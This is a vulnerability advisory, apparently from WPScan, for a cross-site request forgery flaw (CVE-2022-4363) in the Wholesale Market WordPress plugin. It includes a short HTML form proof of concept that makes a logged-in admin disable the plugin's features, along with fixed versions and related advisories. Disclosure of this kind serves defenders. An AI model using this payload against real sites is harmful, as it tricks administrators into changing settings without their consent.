Wholesale Market <= 2.2.2 – Settings Update via CSRF | CVE 2022-4363 | Plugin Vulnerabilities

Description

The plugins have a flawed CSRF check when updating their settings, which could allow attackers to make a logged in admin update them via a CSRF attack

Proof of Concept

Make a logged in admin open a page containing the HTML code below, this will make them disable the Wholesale Market Features.

<form action="https://example.com/wp-admin/admin.php?page=wholesale_market" method="POST">
    <input type="text" name="filter_add_new_settings_submit" value="a">
    <input type="text" name="ced_cwsm_enable_wholesale_market" value="0">
    <input type="submit" name="submit" value="submit">
</form>

Affects Plugins

wholesale-market

Fixed in 2.2.2

wholesale-market-for-woocommerce

Fixed in 2.0.1

References

CVE

Classification

Type

CSRF

OWASP top 10

A2: Broken Authentication and Session Management

CWE

CVSS

Miscellaneous

Original Researcher

WPScan

Verified

Yes

WPVDB ID

734dba0b-f550-4372-884a-d42f7b0c00c7

Timeline

Publicly Published

2022-12-08 (about 3 years ago)

Added

2024-10-29 (about 1 year ago)

Last Updated

2024-10-29 (about 1 year ago)

Other

Published

Title

Published

2023-11-23

Title

Broken Link Checker for YouTube <= 1.3 - Cross-Site Request Forgery via plugin_settings_page()

Published

2024-08-01

Title

Sender – Newsletter, SMS and Email Marketing Automation for WooCommerce < 2.6.19 - Cross-Site Request Forgery

Published

2025-05-16

Title

Seven Stars <= 1.4.4 - Cross-Site Request Forgery

Published

2023-03-14

Title

CF7 Invisible reCAPTCHA < 1.3.4 - CSRF

Published

2022-12-02

Title

Bulk Delete Users by Email < 2.0.0 - User Deletion via CSRF